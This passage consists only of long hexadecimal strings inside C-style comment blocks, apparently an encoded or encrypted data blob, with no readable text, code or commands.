5dc3bfa3a6038b048a928e7e18a97848c36aa6214daaf8822cf1664662784769d4128cf4527063b6f73df8a97a981858dad4bdcdcb798cf9399114201dae7645375e079d26e13356ad88905f7c9c586468d9b7c302f20877332540f0d2cb4e1cd962063fd04bfe8745cb2b798a27521884f90480fa2b68ac3d94fa392ae70d28d5da491b6a55d0d7ca66bfafe6884ddfd847869b23e4e7adbbd6f742cd76e9420b2414a497fb88d5c9d7cfc17d908b191404ff483be3ee0aaacd3acb0505bb819366512e500f43b608c82123e49308bea81a0037b2aa4e16ce84b94d34a39611bff4d936bb7f1811f9b738d715a9627d157d1797fcb1e23fae2b15c009d4103f84c2d764714027e23394ef1b3bf06f7b43e83945265b254584911959255421d9ca13375b4d5bf2cba3214b99110e54b645c62250a400973c9a619ff90b70dd4f83fb47458f0151260660ef1e61690ef985fdf1a0497d7ed56d53881b44d364dc2cbf7e551a34cb0a38f66874832bd589453368b3b656fa1bd2014586e0b36ee8999118c00b47f28582744225458b35a8caa774cfd3f78656ec1d287321f67975d3a25fa95bf7e14ef47c39ce9ee5c052469be8a90fec6db991e1a3988a4b5c7eed66c0ee752e932d161603a90e0a1eaa59814fcbbfcf0edcfe1277dd32432189bf392689ab6bc34a26b8354e61277644c13ea748b9c5839c9871bc1894e5d1628d78b8f207c0ee06f9f4639efea7904afe345eafa9651dcd8d78fcf88bf431d63f44a2ff274f70c33ec5419244144d376b49c7210549b7efa6a5542ce64cfdef86774ed1b60bdf782cd33edb9fe4fefcfa4c760d341b6708ce9c60fab8afdcc886017b53f3493b046b1974e07a95474b35ca2161d727ebf3d120a061a45de91ccfba5e826c70ee4eb88ef8dfc0636dfbf74171ca411e356382be4b7fbac7be083cf62f2aa435ba9511e26d42ab0d24adba3692a5a14c18ef868eaaf6a935bd5cca6f56114349fd83e7732f1f7c5701bcad531c42cacabd1c973274cde72a08f4eb6e46985246a59dd7c21ee7c74ce94a9e94f6f231177f93652b6e2a871be837b87377b9f38f16cd500f501d3b7bb5db3db8f8389118195b303aa2cf3203da94113dbd6e86823695b8d7c35a19942ae78ae21b613b494198eaa621950166046b208c9d911f07d4ef9e26be5de3e411eb07d8ed47d24f245cae477b6a74987621d5b243386871cb80e5071e67cb3421d025e0d559b0f4b94c3312e5d124eeb630f0628e75736b1d82aa9d75ae7bb3295d7ef08d07507a04349ab928a05b3796328b1db2a3f72f55cd3d941b00488023aab28c5db6d8f1029bf630aa23ba0faccc77f7a6436988b750254eae72ef52dba8116d1c16bd8f619d0de036a251d579fe9eaed049e04115b992212acf003e1aabd0dc9f684c49ac2e82a5c04f6a69b2714a8d601e761621c61c436694cee787c6845359a7920addb19567d20c3f29a77a84573b92748d2871d92c863b2d269f9319996425b7f48326a97f123c01bea1b96135b10f9c25975adc203d8e227c4bc42ba6e14209be3563fb498f64d8bf3caec6d2be6978367ee33a2f75396412b3740426a64bb4ca9cbe4ed9be732841a76fcbf86916f1ba5f118f7306b3123ad2598515a8af578a1a7a8b6a21ad860711b11310ce2be919b175883355a089b51385308aa6572868185aa4632e893c8805b113f3d84f16f6eca17f481ab27f9ecf8356833e7cb4a743dc8a4138767bce619104f74309ec8b00162406fbf2c047ee9916b3cba728f4f6bdc5c6d187288b041e07a615f8481cd0f77c35dde3b9af3dead4b7f4af3d4b1a3cd7e2939243b982daa7a73ce1e8d071bb9ff1b7f71629dfbaa7ffd87b31b91075e4335196d4f9ee1d83d7232e95c75ecb5ace86fb0d4a14552f197b182966d56fc6f774ea5b53d1bee9bd89aaab6d3e25d8333fa690cb9b5c9e97c9c22e209a7b67d68b5da58403da4aeca0dac7a63e987f9661e318114ea985888cbdb83af5fb48edd49c6ad1394b68a88d07e2ccce70be90580aa0097e44d58af923d3a419915d3ccf1cf14ef98f93817e3b8bd229d27caca0ec725af53088fadfcea9326619c62d922cef47f9aed07036620f5a948b85381b897ba71921cd793e0444abe36ed598af02196e74ae5193292a7d346315ac4b6555472aabc1c1f80c997c2e0cdd6e1db6d61f94d98e07ef0987bce6*/
/*d3ef3559ba2bcddd6523b3d0506dc2d3a224ea31d62313c914edb53a22471657828179006b558a54546eda0213ba9ad8fc611a0ec7ddd4b609a204aaa6a3df7d6708ffd1bae21b9d0faf52f8fb1ce3b641255a1ebcbb48c2cf2b9d5d4132f2f189f3b28dff1cd84001e02d2c6fff0fe456a3ddb10ed6dfb501f5ade7d9feb94404c2621463cbfe909e04cef67b4806b9da399032f415005e3a5497e9f6aec8c0b8cea21bc814bd074b255687078194b2eccd82f218c1448a34223d1af1208ee5bd74d901b9768e897b0d5b4c669bd65edf9260af4c889ce56cda0daca92446f6602ac73284a97d3664720a3806e813dca7ff26032b789edacaf4e5a2faea27b1dd4f75c5de88811b8beca2864a43d7cdac1de1b5798efff3c69d9ffb34b2d68a645a9fbc84a7dfc33d1056f685f0d14920cc00429b3e7110660d6acc8759007436519487beab7ef0566de391116361c1d4f5f2375ade26f857c60b99209bf4a41be9cf8c46fe7b5588dae15bb71c39319b69180cff6c6c8d196c72d78f8a6cd76abbf60500989b636dad02ef03504c91b300b0500b17045fb403fba4386911a4c0a92314e66549ed0a16c277bedde6fbf12a7892b4c22ce6624b762d89b4e620b9ad24a4aaca863166df4d89bab9ec1c08485f583df487598e06255fdcb0b14e8df8b1381f79690993b654fc5d28f8f75c000a4ee3000c6cddb79eb1a72e8114f63a06d9e62566a0626910e3889ba3d94e34a7959b68a9af8cd6aea6b1be998977285c02fb1764b5c4265768bc847f42ea3d03c3bc5fbad297e85a7cb70d889ec00343949cd99b23bca643f78734bb43aca49802d10fc2b12a816d1a549a6d18392755791f43e70d03d9a3b21af44012f2d247de9b196a9a56859ca412fcb1b1725191e1bff1be844119da54787a4fc8a8f09cbe9e977b40c5ee410482d518c7f6c36f7b1e4cf3fee8ddc829b7b68f259a0125881a24abe7ae8a91af36263d40cd607d949f38eaafaf331f2875b884a6c904601b8aab67f9275c1c464cbed9ab28b5a128d46c32ce8e8727f11b64d9b6532392109614bb6093713055545885f57b6d65cbd7177c9653c1c6129ce5d6a706389c3e423741d0a0261a3d776f624548f1ca7faaeb4ff63ce292028edf2512ba873fba82e8cebda3e87650432480002ee08a94a01634872c4a95c322aa3e72c52c2c8faffa63aae00249bc5b9b7c4acc979258bf978beb7462307fee97965ecb914ac58aa5b3685709ea54e4d3c84db99abff7e50b974d880dacbc2bb35b8bec1f78d912b3a63730f500bca1b57a8793093a6f972608b17e1e806385a616502befedd0386a084a90515db6b97b3f72bbf29cd3d185820caf6c03b4745c388cf4abd6c62b46ea9963f9c0358a771fc64ca952063e550d60ba98c964e51675eadd5600fcfba75617a53bb74ddf4e8784cb7ba1d3f7762a9aa79f42cc3f4b49430263df1e6b55cf8be57e91e72b4c62e4928d2023eb6530f4cd48c2e628479077578c1324b72c9f2fa8dedba0d33db78e110b0abadb65c1ae0870bf75785ceb6b5406342711fdef415b26975bfcd7e051000a4ae880fcb083637d9fb0b07ee5d381be0ab722a2d2a835edd6bc9ce343ff3d67cc0d6803303450bd282000f5b04f2434aafedbf607e5012e75e8bf481e4042ce3f0d6574be4f6768ccb392013fb0c3ac48447da9f3f7146de12ff17f549a59ef3f3cfdd48bfb3c316e6414161248151d4919cb4794a6f166b3c180d61b05032426ad4c220456653c4f51430d8f74f3c4562818599bb743afb0dc5664a355045a90b83f57b5e51fbdce092946d9b9fdc835c6e4d72758572fcf70c9ff349eced8ec8ab5ad721e30468025945da497ebf7a74997303995ec6ab246fe409c8035330c8c07c70f9cad4193dcd12cf46d75481f2fcb603a304184ab419a5cc5db106c330583bf0a2ddaece104cf9997d5b191ec14e60bf474ccfa9a73f45872861e239ae03d242b99802165f84ff7c6bc85a21ed447a893b893747f56b325539892afba8205573acfb2eede5d5dd3855aacca0d97b9725b14b3932fa3896c933778c0dc8c751b53f0c7770c8b79e82946bf261b13a5c5027e096690f28eefcd93660cbc6df0b1a202a0b87d1f3271213fc417391e2ddad6cda9b42752f6c8829865c320f744436ad29a5492d7376db4b04e4a905b21c4ed8a554ae845a977cc371d739b4d6f295b3acacab60f37e26c542e677d11a66afbee023ac2f67b1f7150330776f4ace2349f5db47db4350c5e2550ac20079173387544855e07b487c01156e6b0452f6a01b22f664b0c8d4bfbdb04d547e5cbde3c0637dfefe0a28f3893969baf2d4fd0b5c64e58b10a56802fbc0393721525e326daf850f5d03ad2c532cccda7cbdb874fa55a9a82a083bd28dfb644957bdfc8694bf4eb930e5035313d888f882ae5e346ac82db65db53bfa15bb179db1076f86c43aa66f0e53fbcafebfb3b91d887ed1e329dec0a2734d2ac40b90e129fb1b0bc6ea6609484711f3d56034e33898edcc1a8bc5f5137692a5a6f0b39b367042364cf7cea9b25da9995531e90c8ef6a5cf975d7f5c2b0f4eca03ac3056bf16d28d7eef9d329a50da99de43ec848ca7a002fe36b0c2165ab4d917e8fa2cce401479286824fbb193768ed15227311eced69ba5cd0a4ab1c50876bc6764344d8b88a3cd95ed2496d06fe891f1ca4d434a5cac0a25c9567464a88a182dfb8d3aec2f33c12c8758caa1f9a039bc18cf8a7c9b04911fc892458f030cc09407717b9244bf5f9d69dc15c85e50224f19c71c637ed37191f3957b6c6bdeaa4*/
/*65065e69fca9f75d55040fda6f2a1027866c6e850ef7ff58469147354e0c429b977b3612778043f2d42662cd3f72e41290d5ea734dd112c1c7c149b40549a22b5de96784fea794e2a30472dae8ac2cd7afc2c7be06919266ca91d12c94cce4a85dcc4e2f8c9eeb50b9f63d9d03d2f3f1dab43e48e5743f02e985c8ff9cc7c978cb2dba8ad89f1fad4b0fd1580e504e8d410c828d299e61c84b9c3b5ecee96c077fb44b1c4b7724b759e28cf6fa2c8fce6fe2ba194aaca66632ef32d1e74469f2d47bcd430d5b7974ec9d7328a22514567d903d864cca8a9e77bdf405be0f6fd90962798de2acaf416f286efa0bd35925de7095c5f8b0b8d6f7f6fb70e2f59b50d43ef4b3564748ac07f4910bb85879476439b0103676d4e68fbcff6717857fd4084616a175e9d23272b956725260dc53ceb5f953e13621af33bce7dc24ee026d74fb74d0608c909627cbc4bfcb049ab1390dfc5257db8859777e156c86effc26e0dc76d815841d374f720c90661bb0f83247f1a08cfdcbb14f23355da8f4acdca531c77a77c359a5e2e913e72600fa0ecfdbee8e0ce32c76f0b0737ae4d2b47a28af40d72090a57e5740877d6c728b1197aadbdc8321292e7da452d7f8fab7a931b2fd7343aa16a4a9462a3355aabebdbf531264223d52341b3b103cf5c5c1b457f3eab89d7999240c389f042c02c72712bc3f86aa31b984a5b8d7eb43c7b29da2a98fe7ac93f8481c5dab7eb5c52b8d1fcb44e98e58e472321ad31e8365e339d36140922a84d577d2b4cb38e5c3ead137902b053a05c0bd438d3ef4399f6b3b3e4040a442a9274c2fbb1f16841caf7b97e49aed93a453ea8bfe32042723b6ce4cbb7b68ebe3c51974609cbad5f062437ac9e77f235e9605a540c9122672eb5451c11c95cf163b950b08c6f064ba6bcb82064548caeadbc236d4d7bad6acc2d9e7cbecb52a87fc0442ca91881fb361b0deecf4faa31990200481a3566ba7824380f87746f1297e608f0e7775e522345887211cc1fdece9764a7229d088110d14a28aeb6c5081f6f890f7fff7495b1bb4ca1e38dc3c6448a1dcb195e247ee89b1afb997f9d2d6a0fc61e63566c2e43af8667261e042141153f561d18b1f9c2e8ad616b992b8e01074603c39cf8fc9d67c27dc9064ae37d3c3767be2ce6bb8dc8e3e3679ac7f2c0bc0c3dc5ba9bb2f2c55b5e98b587cfff2e03e8067d261377d6c0821e2fd2de209fdbf6ccc4670a67f1e0df3c172d2301b4744ffd15f95135b9454a9e07b6dd5e04296cee26da069305be89dc0d924785ed98bbf5b7b4f235a6e672e91caa67e0c2b3e60ba74212c77b13caf98c95cbd272ebaf4322f5c7846827c77cafb0690557d7436927b00685d8f80716636a20d12c2989f4b6078b3b29e3fa36ab410b0a16a0fecc8140fde78d24c3ff71826c1becc14961947bc770a302dee273fb66ca8d27f96b8e5d8dcaa3975f975ac9063c8ff0d81f15e6ed05d74a69be8d5773b273ada3512f50577b7679dd0ea28b3ba18bd74601da3901234ce5e45d2d5e868aecdf7359501ccc8b8c6c7d98b0b5388f67cdf46285b1089b7891244e25aa0de1e07041058e8ef06e2afac1ec1cca67067268222b8dc2bb45ba0cfab9de0fc42ff41359a2b240d820b8f91b2d1f4a44dfecf757bf5c80d46ac7fb595595d9d1e16b90d38e130c3b1f48e3e93f4e99f1cb001597e203d056f04228e4e4d0e95fc73baa92eb6cfdc96b92c8d3046e38db0535003b00ffcb802ce5c5e18f4c1674bd7251ba4cf8e1bfe05fd03e3393f49b8d95f0e2098c4cc0d35a93e0d740ab6c4823baecbe12e39bb675dfc8c707cb0c7ad8415b6ebce62b0b62f24e2c2cdc03dd3bc8846395d5bdecce600539d47677385cba693be323ff34534567f3f34dc96e4b015e765b16612d3908a406bc16a6acb14261137042ada9f077a6506d6d4a4747d23aa3595ce3cf8c6b60a493938fe01f52c2262c23483d4e997b8b9fdd1353284788c26d012f4dff7f64fa974d2ed3310ad48e2a96ee2476bc79ce090f532803af124afd99b59f809271f6625f44230a7684adf2a74fa9677a20957238658ec46537ebcf765883e44dd07badd6949c9fc0d2d98b0695a0dee53ed3b20bf50d12a9960c0a6840ff3c3fd6e2d9dcbe47ba275cca03acc837a7daa09db3a70b203588ed789e61c7ef914de26c4deb33c65a88812a8a963b60cf50a16a58aeb5a6a8861836e0b49a8bc62d59c67895c75116a5699ab3209ad1d38c6feaebc0fa23541216348aac99816ef5de6ed53996ec826a9dc5d7e7242f26acf440526bc9dda4b5ed5809dae1c00e933801b107463b8c6b3435d52a376c281a368a408d9f2f639bc93629420b2285f729c9b93a1a1297fbec354ebfcf00f615085987804066a07f14d6d28ae19edd7747a0b6f71d5424b7f93e6f32f26669fd9496bae34d0a1c3272efb2cce7f55a07a846f3dc5f278bc4c6b1eb3d4a42226a3955264e307422d41957daaa3a0afd4d8ced55ca2cc04a239c45579f74e45ca81fa6e8887109bc4dd54eefe7e7e1a5e5ba60cc4ec6dbe988e15743edd1a5f21e0bed316047fd2497caa1b74cac0ec06d45bee4b82d8c5f20e99fd98caaa8349c6c2526db197796d8c4d17fc640fdff6dc216ef26afd32898fce276fe747f3ca45ff57f3cfc45e0597c7a2edf2765f1194cdcec437c8b66586aa28ad42d81c9a2d00d954ff6806fef9d55e344e2f630e4f91ee7174dfda2fb968d8c0766ed1fd425358ab6e99847760f9145bc12bf955ff8a8fc609ab5f190e3069e268b1cde0033b8090cdc9457968fbce84807eda08*/
/*a7fed316ee2e704dbb6fa41ccd5d80f4e25752dc6de0df75b88b205238db911ffaecb680f145aefcde29f879e46c583f1f6f8170742fecf244da30b8979beb7dc5e7ab69b865ac7d9c3137eb3fa81c39c9aded4a71282d62348cfd001a065fc0ca0af8fd9c0c0e9b1ac32ad9ad94f618f2b6d1138e8c8d2e6821cb3a61263e6a4c2fd2dc59e7b772a2d21b16158022ce0f3da8867e7b2059c9138456ef67ef291d007306c66e0ee81135271c4669dc7b308eabd72e4930d5ff8f6206a3988d3236a92b24557fd2b1d991928337f34a8f955330dfa8406086dd4f12484a3e5ab6f196b49ef76fab3ed7481755a271858db501bceb4d1e2e3c341b1bcbc8a9e4d953cbf2a90a6f5bc35217d45b959e9d977c9bab24b6b7b9c59556970ac62b4c7cf908437c90cba4b0fd67bdb64cc0bf63ab3050634a46adf8dc59789f391ef6dee27ea7cd15761bbf7bfe7809ce95278656e0d09502ff1281d0c20101345564de862b68093e5da86dbeb049ba61143bea5c652bc484c22553380ed0d777a5a3394e3ef3f6072803bba21e0249462c954f0b4d22c4ff3991264a9a296afed70fd371e014122ff1a9c09e15a2a81f5886cb99b9e0136b58cdfe0ad95debd94ad0c070c563ccaf883ec046510574a545e1a87120eacd5d29b691ffed6cc20a5050629b208327a1f1572f549d11aeb827a046c3f4289fe05f8d6aa04581b4b16dfc407c42d66362ccc68ee96facfe98b87f1371c917537903b3219b687dfc51522cb662124c70265fc9ced514b0751a4d3ef3741bf4f70e9b4467c1fd2059eccd916b386707bdb09a2a6fb944152f3e21e6b05dd7e77ecd62e050d99c2e21f200b76c851ec1fdb985d04baf748db22c85cbe6a3930c6de53421a607bad9a45a5bf2181b1a32766e11bf98812d58633d7506f1ee0cb8713fc1cdd1fe779c33362fa8de3f43186613e3b1ec89cde32c14e9ba7f4e581d4dc771e966a64215a77e3a0ea8fb4eb29c8616195a196a4a094a92f95235652b16a08bbd983695b38171bc48265afe190952009571e593b4a6740a37ce26184955bd88c872f9e5917dfa3680808c1d971037d1463752c3959655768591a7d983537a65433af6415f929e4789e491539c4a3b66458848a3632971605de25d8e74681e33e546963c57d3afbdba45517e5b432d60c3e165059a97d38b83833829acb410a049580a51c8b3de7f1d103ca696fbe121bf763beb453eb89b81b05cbc3b88918f418200b52d966360fd444762d99438dbf846f4c8c5cb9fc8b8629e32e749834d36d333b5a13d24cb7d73b6a1f9278ac6d0a8b30947a20cd68cd70deb4a20f4f0e717af24644f2b1e48acc544a65d1601b07faf49c9f4cd310dba6bda64920a1c1881e9946424637565119d26f0be0841ef940fcaa7fb3b34147c67bf04d4ded13909e954240469f637bf7f26ec1b81b65e0b6a3cfcae22d040e6263ba2412120ee75b750e4f4ddcc80d9799283a4126881f332b310a60ebf72d279c424abeebc09a8a71958bf7487359ac8b42cebed50f95e2c68eb8201be2128ee34d451bb34972b6e9d2dfbd645733c7bc39d30c057a6a8eea77bcb3be1f8b397a84323e5a490b2ade3c594fb068c798b179a200c846ccedf814cbffc11f91e77dd08e8898fce7b24b3e16350b600a87af4edb8acc3314258fedb3c772c40ee1103ee118170e719cf1912e4a81684cc69e021e495aa5a3d071cb73cfb0fab31d5bb9ce701c81e491e3ed60f6380e780d1466ac1acf7a62aa293502455fa3bde2e17790a73517a5c6bea3e17f6605d65a5a82ff796075aae2015d93b9444c64e59008ef300e2fec9135da4c4b49b6c85ce0b9b2068583029a22c8be939687ab6e1e190f6dc88f8a92225fe591c1bd92eb60cbf58a137409251612d42acb92de8b59f8dba3ff165990367403b8b3a637baba6f78a50e394a291bccce2b27b13c66566754cddcfef96edb2377ae9d112acd77670f14224a7eca00452de94eec85c6106e527f2e95b633131953596a4a0e35e648b7977063351cafcce1af0939fd506f82cd7c43cd7bc7afacd05f08ed27ec5278f107a617830a06306a6446d89322d0b241a90d18976394e1d56c0cb0127a0c44095f49c2a797e1bfa3930232123df27316914421f79b95ea487cb9db7ec607bdb9b95be47b6577a533a817dbdcafbf00c79c50cb3c771b33e1a7f24ef97d44c9f004346d0b39833de5e898584199865088d06916914c41b2218176f4893eed89b0872c1d0a1edf6db518099d664a26817a1cf461d3bd6def2860baab3ff816367c2443f280360c7ab711e5007625aed6f82fdc4f35da8b514b3b0d4d511355e71c77bd78a1ff30bdb4861d60ca549f06843438c1fbbbb5f91d9ebfad30320a28c939909433cd16f219fff993306a26c5f8656bf3d6bdcd12aac2c3473937454a4236b6d9762e7995da52b2732526ec8603af2cec29807d5778d993564c744907da810bd8a47ee0cb4f5a1b6fdde1c826db23eb880ae730bca1310cc1d9666fee455c861444296fb6b00359e4c5163bea495e8b63781d20a1a08d9b4b6e4ba694a1a5514da8d231214c0bcd421512c4c4733e1aee50e57a57c89be0178f00bd368ccf1c0779e4b44b7a11f06d47b3895aaaf94ebf341d7622e5aebf2c787af0ff81903bc2bddffff049d0d085ab54d4c1648f2a743f40d6b6000f70e5a36e9073717705eba1fc4dc38b0c3b2aaa2c0c5f06292dd4b351529f3b59d6c66ec5bd9c60ceea952a209500393dd6bfbd4c201b8766ebad11fd86aee8f117b089b1d4e2a123431c05989696df5861af815*/
/*a291a87633dc8f33cae17bde5206df7448f9c9f58e305d90c54c074e7d0da6f6e6971c1c74d0a48547b67fe2f5a51a83409befa8bfbdb156cedb2b269ae290452ed5b8788a64c1f8eb022249698de73961f0100bd23abb9007749ee6f5ef503529b9642580c0b0aece9e42a142ddd662943bf1fc15364291229e7790edbdff4947516243065394abf882e79a2ae52566ca1abc5e2352991a2622bc3d24086bce7b1382e28c2fa3659145b700ed8bbf436b9953484f33269e68da1342a95def16115bd13321b11296d84c7a2514c23bce8c889a33f44e017e74cbaeabd3d5ad5cb22358122f5ffb05bf61f6b967aaa9e985c63093ee21adfa3b37e033b692b7b2f67865e08b3a4927532ab54cf0841927d1070b42d07b925d26ab65e425ab0dbd22ea73a6d71ec93fbaf58bb9923f78ae13811e169b6a306e0e58052ca49d5193dca10103ff096d82f53b6ec7991535c0959554a7ef39a0fa25273ca800c85cdeec5355a0103ea1b25fc7c4eb22595f7029e61ad3be91d462cfb5cf9d8c627a5b8ec50469b92e3a1e896ee7e43f7ae5487ea2b756f33e47aad7d39d9604c3f270497b071b5960fcc49533a18d616ebfdc433cc98f6f10c8f385dfe61649a070cd36ac4213e0fa159dc81e5f470e7387a9bdb97beb21c5e163dfc9dd4c1d3a14111cdc18501e98c35f267658c8500594dc2fb698dad5276be7f18166217e45fa50d971c70a502610da480d22d0c1f13b384f83de4e7ac33ce301df378b035b0ed0294c36c384654ca4cfd331469275ac566de2b44665a333c09f8ad85cdb50337330f799a98108fba8e8c6ba6b0005476a04217f7bf04212da6588697830924488b6d371258e720684c342ef8d1aa776ba0c041687982909f6ecd7a932d0ff21cff3a54e403a464521f30c07737cf23ee78f944338b2c40d16ea8a089dd8f80265fb9df9d6bd5d3d756cbb9ad9814de54782795f72366c1a8ff6a7b7d06757d7a35622578b7c97d6646a4da45d1b10082a2e9cf454eba749f36446e67022f155bfd02841180a14e65158c4c728e03972d2ccd10d0805c916af896661fe57aa5ce08eac2e240a7da3e36722088bebc71452c4e22bcac08de7990decf9b17e6a7c20e99adaf7e43ddf5d74890543e45bd1ba1c7bb21fba57bbad06f48845b211961a74a6439a307bde7a480a05e0aafefa4b2f4a0335d643ec379037b562c9f85866ca804044c7a3836cb3617d1199a8a67fe0a980a137edcd961cb3eb75c6f72cc64addadddbd8b7a6321c560e36e321f5741d3945ca2114f97c704d2b274e1ed321d4d02bfea0dcda93786033b6ddd0e11cc145a750307c3e0f86e8fd02997dba298bd507d57b9a06b5bfc086e4c6d3bc3383836950abb366598e720e31bf7b4c76a16585b2024c451a376c325db90df0d535d1b5ae6d336cb665c8cedbf682e27bf8e791534c637deec7d923168bf023ac1f2f76c481145641ccde959985a6abda6be90064c0c7426d0116a4315287725e39f04541d7d665348e2204cbb59929194877107dd93a454914a8a51883bcd60ba6383b1767f31c6b722426308e90e57a6abc945cbe91a312a6efb36a6e649dc9ccfe4c1c7b0deb02b880e20a8ac1ba91c08fba4440df65c5989845c05fa7891d4b57952a98390a8b96802c642a429b2421127134d694b676963e2cda9b52fbb7416bef20991540c218227d9919e747961237c700a1bb02a9c39282b65de2795023c9e94b67bfdd727afea4959275dc524583d36bb0636e951382285f5947b7e5278da8ca3829d000598e15285942855297fc546f9882a33411968cbd94a9d71cebf2a9465e54d489a3c2b6994cfe2a6d7fc57d51d0701411605889e80e21ff612c9fb29b38837ac50c86df26be0cec9436b48935b61febb20e79f79f9d462de6f72ad364625fbce9eb25b9a87db82a58ee7a29f97678b8ae97516881d2d55e00ca3873b63f1eeb4004cf23affe502035cd6ba08eb155aaf5bf44cea6c35bef74be9d868afa583ff90353aaa07de9c45a84b25c5d00fdbc572184258e3265522efcbb012eff59d936fbf9a9eff6a074c759b7450e957f3257455638e21dd654275ae8a2bd92723dc76ed7b6d5f8286f32d548551736b82eb1b300f21e5d8a2090bd3c30bf073e1d7536968c18d1d75a8d160bb8b35d2ad3fc73a01c69a9d0ffeab05014f9e22c2008e3c554a654341560e9b17bffb344e8db5501962a24c1076c36dfe02a1dd4c8527b928834a56706c7617dafd3f69113c3096453b5c689ad3ef043c794fab392293a2abe9db2627626d0bc58f3259466024f57a718bda8d0e3641c693046981754efe527d7225edf326297cf939e88aacca326684e98f7455c23833f3b2f506560a1821b3a398e99ce610e32dda0dfb1bb8b8a8a68586e03b6dbebc8fd3c9a71f2fb1b6817756de9696ac4c405f48c5f05eff8acfdcdb74e0c86eafbebe09230f65a48e68cf875d5e79e8e1ac35fb11e52998f14a462eb43f982cd688fa5825e425b3228b63147647f8dbb3050e283493eb8eb0f60859e5a157fa1519ba998ea0a5da320494f23d9c8bc24ebe256b6a2fad820b72c6acd521a955c6e67ba804380381baeec7d0bf8d40b5192e3fce823bc40e7347122926dc84b3067ec9e4627d752765a0db02869fccb0dfec2dedf9c4a467bc9d99ee976e65504f60bf4c2fc22c3af1828c3355a5a178d11796dfdf5b2f2b55e5366ddb46adb6f49f85cde212e04cf5f13f63900e7213725305a1fdacdd80b755d64e599c0f720e239f2688047f8612c910c0e8fd13d734c436065e2ad0a6542adc068042*/
/*b1a9644a33848d3216047555ee59cfaba736391e999906ddcc24b043d0f437c7bec240549097a62b1f9f43ebf5960e0d17a8f8050e24ad42eb47d2e2e47c9f4ce8eb3fe02d1f1364a8997b3d771b23883279f12bbc97e53d0ad357b596112f4c52faf18f037784712766021ffe8589bd6cd9d1a553fb054e4cf63c04e006b5687dfa763f1515470df9b66066ff2150c171c71c52b5e5ddd4105b7ed1908e6efd00b402d3301621f524e3d5604cb08ebedd64f358a9bfd116331cd766f6fe1849b02115ebfd6d1395ff8a1e16a5360fb051bc7118f0810071c796684eefa89863818d236af7b07a7a23e3406c2fcdfca2a21b7de395fc3dd9d57a1fe4b10cfcc1deb446157e7a2b76e01bb496f9ac25101e9a2671d171f340e05ec13b472e23df6861ea8eeaea155980c09b6d4199d63a82ff96f5fd596aca80864197b24b3b22ffb534203851dc5406caf3ac5db79737e11d55918f0d076d52332f86e679888d382bef0f0e3e02dafdd396c07c53668e6895f76b0b474266be043a73063217b7a30e71b5b1005e54d573aa02c01d64c4b36a78a6c7e7af22b6d7c0e07ddf05aac399a8298550342df81fa41399f5d0a48ab72ccb9706208c47c87e182fb75c97280a161c4bfcaeab9d62365c4e665cf5effd7acac055c3506402ba749dde61af723c26c44e3461c9101d437ce40c45cd2820c89a148ba96d249d7909e2df692ff44a03d805a198e26b4b05355706e8ae82ee9946b80e59d12ffa2ca6112f33bfc0bd2e86b429393f92cce4cc83b91dd9d4e0a574f8cad28a0f88c9ba42f56e389db10ff8609eac1f7e7e0161fb434ee3d70996465fd9c879364e7674f8b26748c33be3eb5f53eee3f372bba137b2652c43460fbdf9cfa9c4768d5e0376369ba2a1e78cc39b22c89762325636394e3e5478f91a038a0df2a9df1897ffd6c33f60ab0d3cc1bd3dc11555355210f4662e6a692d18f68fb8aa875425dc8d11473edbb1d132c2c96d54ac6e54d18caa434d333ad2b07ded0c8fe86809b4534c44006c0a8194e1e991420395359769929720d5ec47ff444312f493880d1c8380d64e419955c52176c9732311e8f168adf7f49766ad0e0179f858028f714e5faf367fb23369d82422bd522c714e23c8d62f859cb19a99cf902b2d27206d77f7b7b96a442fabaeb1f0518544dfe3774cadbfe23c40f2d4aa684c3f5b7fa0133dd0459295c6d745d653471da9efa92c8ed52bf34f64176e70bc4ad2a33fd83f54d9515084cfda27c49840247a8e5e7df7916bfc47f5fddda977c7ce8fddda09cd57e22649e96576baf5485b91ab22100c4e4f374d7fe037518738c7d7d01166e953d829e8c71adc8290f44a867a505d44dd5e97465187ae790ce0c274b06515dec53ffe5fe838cc26653d03aa3c6940ff9ce4f92a786b25c1bdc0b5e4228a29a65ec7d1f01284f7ac94b4331c58d649c9264031d2f2ef5d00ca9c2f8514ad594b568f0e7eaada289ab9a80b1c467dbf5dd3ed2068a69b234ca2a723128a18ee2ea1fd372318f52e3f5570978ec13d9439e8e104791c138e4b4478020c85a2cb1e8daf189b1ea6723abd0968dd62092973bcfa2789e650a050bf21cf744ce670c35c123382a96143b7b5e162587da33823efbab66e4a4758ecb981b02bccfd02d24fffd60e91dda7f6bc4dee5ba632a6250a9d45456d2ee3d134568dfd6a4dd9bcf213738abfcff33f48dbb0ff6e9821f22888a3bda14414d6b76c1985b9b4e413bb41b33b467f1f9af58598cab0816add3ca7c0b4bef82c516ddd04efdb5928458045385234c7fce3b3beee04d100b1589160bd9893d2edd93becd3b493a26742becb2644bb371f509b26e265cf9c0f991a16b1aab4c022db87f0c3a53e74327972e678c9bdf29a21960845ff944c5f4bf395c9e7e685fe3d322ff20ef8c251501897417c0ea7c3823060c324571a7af19ba2f92173560a2cfdbfeb86dc38a6d2e6cf0d57b91d2ae39bb9d55fd7599b4a61a6d7b3ecfd17201a6f25931de2939efded7c9c44e17452ce4e609db2d3995fdae7dceab0c2d543ea4e51148dc9bb02b14e43ba1f0b5004eb9670e6afb6b62f86dd1f2eab71637d93ed07e87aa67f51711dd207fa76e31e866d3e85bc9253be4dad527eac1f181972ee5d2114b821cd3f601c452a2e52088e11795cb18146e82bc0c77e3a10dd875721ead5f32ea5c788b50a516c60de5cf5777c43b20d4b83c3402f0d5a8361362b51a1e45345b7137afc49643343ee764317b520374a3a41c5e59aed1247f4c53e87ee079cefc0aea4aef120543b7201ef3a585a0189593fb46494b8d2b914088e74d7baed335992d9e48cb4b7c5cf9f8457ab05fbb269635dbed3ebdbaa49bf63767eca1efe1c7656fa1b4a4e6e79f5e8af52118d287bcb6eae1b6ff86ab6436fc40ca2dd02578b76cbfbfc60b53ee7a3e3517ba9dabdab9861678989f89e0ef776b7528392b6b216a5c3f992017cf8f293f1d071aafd283d8534ae41d915bf424c872966cccd8fd964f3c11e48f39051bb0f235ce68c84493d4a1e4511f4332750b2213d0b77f55721434d373331b73ef97ff267a457777cf5e0ec789fe612492ee25c188f44d5de816676dffd2ac67afc0f6918cb69d54d9e5135eda3da232073a943d3ca13a8016cd0665d3a73c28606f2c648be977ee4c14b122cd9d5c4f3d5b724821c2023e79fb5fae5d49481c85b2e0b59707e11fd60b754d06bd89537aaa63af42e24f3194eb21136f54cc2cfc90be4beeb4124512312dc403f0fa2b34e16cc518117491fe1ffd15b329f3